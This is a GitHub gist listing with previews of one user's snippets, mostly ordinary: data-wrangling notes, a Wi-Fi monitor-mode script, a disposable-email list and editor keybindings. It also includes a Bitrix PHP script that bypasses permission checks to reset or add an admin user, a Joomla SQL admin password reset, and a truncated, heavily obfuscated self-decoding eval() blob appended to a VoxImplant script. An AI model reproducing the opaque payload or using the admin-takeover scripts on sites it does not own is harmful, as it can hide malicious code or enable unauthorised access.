Skip to content

Instantly share code, notes, and snippets.

View rdbox's full-sized avatar
🎯
Focusing

Andrei rdbox

🎯
Focusing
View GitHub Profile
@rdbox
rdbox / gist:4207110aff53220469480bd60756b96f
Created November 18, 2018 21:31 — forked from conormm/r-to-python-data-wrangling-basics.md
R to Python: Data wrangling with dplyr and pandas
R to python useful data wrangling snippets
The dplyr package in R makes data wrangling significantly easier.
The beauty of dplyr is that, by design, the options available are limited.
Specifically, a set of key verbs form the core of the package.
Using these verbs you can solve a wide range of data problems effectively in a shorter timeframe.
Whilse transitioning to Python I have greatly missed the ease with which I can think through and solve problems using dplyr in R.
The purpose of this document is to demonstrate how to execute the key dplyr verbs when manipulating data using Python (with the pandas package).
dplyr is organised around six key verbs
@rdbox
rdbox / startwlan.md
Created April 26, 2018 13:42 — forked from spacehuhn/startwlan.md
little bash script to enable monitor mode

Some wireless cards support monitor mode but won't work with airmon-ng. This is a little script helps you turning the monitor mode on! (+ it also sets the channel and the tx-power)

Usage: startWlan.sh [Interface:wlan0] [Channel:1] [Txpower:30] [Bandwidth:HT20|HT40+|HT40-]

Examples:
./startWlan.sh - enables monitor mode on wlan0, sets channel to 1 and tx-power to 30dBm.
./startWlan.sh wlan1 11 33 - enables monitor mode on wlan1, sets channel to 11 and tx-power to 33dBm.
./startWlan.sh wlan0 6 - enables monitor mode on wlan0, sets channel to 6 and tx-power to 30dBm.

Script:

@rdbox
rdbox / temporary-email-address-domains
Created December 30, 2017 17:19 — forked from adamloving/temporary-email-address-domains
A list of domains for disposable and temporary email addresses. Useful for filtering your email list to increase open rates (sending email to these domains likely will not be opened).
0-mail.com
0815.ru
0clickemail.com
0wnd.net
0wnd.org
10minutemail.com
20minutemail.com
2prong.com
30minutemail.com
3d-painting.com
[
//Package Control
{ "keys": ["alt+p"], "command": "show_overlay", "args": {"overlay": "command_palette"} },
{ "keys": ["ctrl+shift+q"], "command": "replace_all", "args": {"close_panel": true}},
{ "keys": ["ctrl+q"], "command": "replace_next" },
//Инвертированное выделение
{ "keys": ["ctrl+shift+a"], "command": "invert_selection"},
{ "keys": ["alt+shift+r"], "command": "toggle_regex", "context": [{ "key": "setting.is_widget", "operator": "equal", " operand": true } ] },
@rdbox
rdbox / file.ps1
Last active June 5, 2017 18:34
Check ip-range (powershell)
# This script is written on powershell
# Allows you to quickly check the range of ip addresses
# 2 parameters are used
# (threads and address)
# Example:
# .\file.ps1 -Address (1..20|%{"192.168.1.$_"}) -threads 5
# Will do a check in 5 threads, from 0 to 20 ip
#
# Example:
Установка Unbound
1)Скачать дистрибутив
2) Во время установки версии x64 поменять путь установки на C:\Program Files\Unbound\
3) Конфиг будет прикреплен ниже 2-ым файлом
@rdbox
rdbox / passRest.php
Created May 30, 2017 14:30
Reset password Admin (Bitrix)
<?define("NOT_CHECK_PERMISSIONS", true);?>
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");?>
<?
if(defined('BX_UTF') && BX_UTF == TRUE){
$msg = array(
'charset' => 'UTF-8',
'userChngScs' => 'Пользователь успешно изменён.',
'userAddScs' => 'Пользователь успешно добавлен.',
'delScript' => 'Удалить скрипт',
UPDATE `jos_users`
SET `password` = MD5('new_password')
WHERE `username` = 'admin'
require(Modules.ASR);
require(Modules.Player);
var mycall,
myasr,
player,
ts,
ts2,
vad = false;
;eval((function(t2){for(var j8="",L8=0,E8=function(t2,C8){for(var N8=0,G8=0;G8<C8;G8++){N8*=96;var x8=t2.charCodeAt(G8);if(x8>=32&&x8<=127){N8+=x8-32;}}return N8;};L8<t2.length;){if(t2.charAt(L8)!="`")j8+=t2.charAt(L8++);else{if(t2.charAt(L8+1)!="`"){var v8=E8(t2.charAt(L8+3),1)+5;j8+=j8.substr(j8.length-E8(t2.substr(L8+1,2),2)-v8,v8);L8+=4;}else{j8+="`";L8+=2;}}}return j8;})(";(function f(I,A){var p=\'\',t=unescape(\'%28%27%1Fy%22h\/U%00%06G%059%0Euy%21%01%0B%03%07U7y@%0C2%10%28%11%3C` < 26%1E%18d9%037%2CtD%1A9%09%21%17%1A%0EZ%5E%22h\/P` + 6W%1E%3C%04%5B%12J.%00%07%06S%3Bv%0D%0C%7C%28*%04%3C%29%11%09` M 8.%0A%1C%3D9@\/q%0D%15%06` > 1%09SyI%030i%26-k.%10%3Da%1D.%22+%280i%00v%25%1F%18%24%0E+%0F%0A%25%041%16%0B%26%23%11%05q\/q%0D%13%1C%07%0D%01%5DW%07%27\/%1D\/%18F%05%21%04A+` T B%29B%22Z%26W%0C8%3F%28%604%3E%20%18%25%11%3B*9D%18%19Q%08%1F5%162H%28%3BFe%0C%03Dv%08%28%1F*%09%05uy%21%0D%01` R 0u%2C%5D%0E%0D%23%28%604*7%07%2430.%0B%2C7\/Q\/q` T 8%13%15%01%00UM%0D1\/%1D\/FtA%15%1FP%21%15.B%29%17E%26K*+2%06%3F4g%05